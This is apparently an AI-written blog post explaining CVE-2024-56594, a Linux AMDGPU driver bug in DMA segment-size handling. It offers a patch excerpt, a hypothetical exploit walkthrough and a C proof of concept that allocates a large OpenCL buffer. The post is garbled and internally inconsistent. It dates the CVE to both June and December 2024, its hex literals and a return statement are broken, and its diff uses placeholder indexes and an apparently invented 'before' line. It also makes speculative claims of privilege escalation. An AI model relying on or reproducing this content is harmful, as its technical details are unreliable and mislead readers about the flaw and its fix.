The open-source Linux kernel is the backbone for millions of systems worldwide, powering everything from desktops to servers and embedded devices. Graphics drivers, like AMDGPU, are a fundamental part of providing solid support for modern GPUs. In June 2024, a new kernel vulnerability, CVE-2024-56594, was assigned that relates to the AMDGPU kernel driver and its DMA (Direct Memory Access) segment handling. This post will break down what the vulnerability was, why it mattered, and how it was fixed — all in plain language. Whether you’re a Linux developer, security professional, or just curious, this is your exclusive long-read on the matter.

What is CVE-2024-56594?

CVE-2024-56594 affects the AMDGPU kernel driver in Linux, specifically related to how the driver deals with DMA mapping for SG (scatter-gather) tables of memory pages.

Root Cause:
The AMDGPU driver used the wrong value for max_segment_size for DMA operations. As a result, the driver could end up mapping a DMA segment larger than the hardware—or the kernel’s DMA API—allows. When this happens, debugging routines like debug_dma_map_sg() throw warnings and flag the code. This could cause crashes, undefined behavior, or potential security holes, especially in systems using IOMMU (Input-Output Memory Management Unit) for strong isolation.

Affected Kernel Subsysten

- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
- drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c

When using affected kernels, you may see kernel warnings like these in your dmesg or system logs

WARNING: CPU: 6 PID: 1964 at kernel/dma/debug.c:1178 debug_dma_map_sg+x2dc/x370
...
Call Trace:
 <TASK>
  ? show_regs+x6d/x80
  ? __warn+x8c/x140
  ? debug_dma_map_sg+x2dc/x370
  __dma_map_sg_attrs+x90/xe
  dma_map_sgtable+x25/x40
  amdgpu_bo_move+x59a/x850 [amdgpu]
...

This means that the amdgpu driver is trying to map a memory segment that's larger than allowed — a big red flag!

System Stability: Overmapping memory could cause kernel panics or memory corruption.

2. Information Disclosure: Improper DMA mapping could let a userland program read or write memory it’s not supposed to — a *potential* privilege escalation vector.
3. DoS (Denial of Service): Attackers could intentionally trigger oversized mappings to crash the system.
4. Silent Data Corruption: In subtle cases, this could even overwrite unrelated memory, causing hard-to-track data errors.

How Was CVE-2024-56594 Fixed?

The solution is to properly set max_segment_size during device initialization, so that the DMA API never tries to map a segment too large for the hardware.

Patch Example

The core of the patch looks like this (from upstream commit a6f79719b06c):

/* Before the fix (incorrect): */
adev->dev->dma_parms = NULL; // no segment size limitation

/* After the fix (correct): */
dma_set_max_seg_size(adev->dev, AMDGPU_MAX_SG_SEGMENT_SIZE);

Where AMDGPU_MAX_SG_SEGMENT_SIZE is defined as the maximum segment size supported by AMDGPU hardware (typically 1 GB or lower, depending on the card and platform).

Full patch as submitted

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
index XXX..YYY 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
@@ -4274,6 +4274,9 @@ int amdgpu_device_init(struct amdgpu_device *adev, struct drm_driver *driver,
 
     adev->dev = dev;
 
+    /* Set correct DMA max segment size */
+    dma_set_max_seg_size(adev->dev, AMDGPU_MAX_SG_SEGMENT_SIZE);
+
     ...

See this upstream patch for the real diff and context.

Real-World Exploit Scenarios

While there is *no known public exploit* as of this writing, here’s how an attacker might have been able to exploit CVE-2024-56594:

> ### Exploit Walkthrough (Hypothetical)
>
> 1. User writes a program that allocates a huge GPU buffer and forces a DMA transfer.
> 2. Because the driver doesn't set the correct SG segment limit, the DMA map call creates an oversized segment.
> 3. On systems using IOMMU, this could accidentally map memory outside the intended buffer, possibly overwriting kernel structures or other users’ data.
> 4. With patience and careful crafting, the attacker might escalate privileges or crash the machine at will.

Proof of Concept (PoC)

Here’s a simple C code that could force the vulnerable path, trigger the warning, and potentially crash the system:

// Needs OpenCL or ROCm + amdgpu installed
#include <CL/cl.h>
#include <stdio.h>
#include <stdlib.h>

#define HUGE_ALLOC x80000000 // 2GB

int main() {
    cl_platform_id platform;
    cl_device_id device;
    cl_context context;
    cl_int err;

    // Get platform & device (assumed successful)
    clGetPlatformIDs(1, &platform, NULL);
    clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, NULL);

    // Create context
    context = clCreateContext(NULL, 1, &device, NULL, NULL, &err);

    // Try to allocate a huge buffer
    cl_mem buf = clCreateBuffer(context, CL_MEM_READ_WRITE, HUGE_ALLOC, NULL, &err);
    if (err != CL_SUCCESS) {
        printf("Allocation failed: %d\n", err);
        return 1;
    }

    printf("Huge buffer allocated!\n");
    return ;
}

On a patched system, this does not trigger a kernel warning. On a vulnerable system, dmesg may show the DMA map warning.

Easy steps

1. Patch your kernel: Upgrade to the latest version with the patch applied (Linux 6.10+ or backported).

Check your distribution’s security tracker

- Red Hat Security CVE page
- Debian Security Bug Tracker
- Ubuntu Security Notices
3. Custom kernel? Backport the official patch to your build.

Original References & Further Reading

- Linux Kernel Patch: drm/amdgpu: set the right AMDGPU sg segment limitation
- CVE Details: CVE-2024-56594
- Kernel.org: Security Mailing List
- Linux DRM AMDGPU Documentation

Final Thoughts

While the CVE-2024-56594 issue is fairly technical, it’s a reminder of how subtle hardware/driver bugs can have a big *security* impact if left unresolved — even warnings in dmesg shouldn’t be ignored.

If you use AMD GPUs on Linux, make sure your system is up-to-date with the latest kernel. If you’re a developer, this is a classic example why always following hardware specs and using proper DMA mapping is critical for security and system integrity.

Stay safe, patch early!

*Written exclusively for you by an AI tuned for plain English. For questions or further vulnerability deep-dives, let me know!*

Timeline

Published on: 12/27/2024 15:15:18 UTC
Last modified on: 05/04/2025 09:59:17 UTC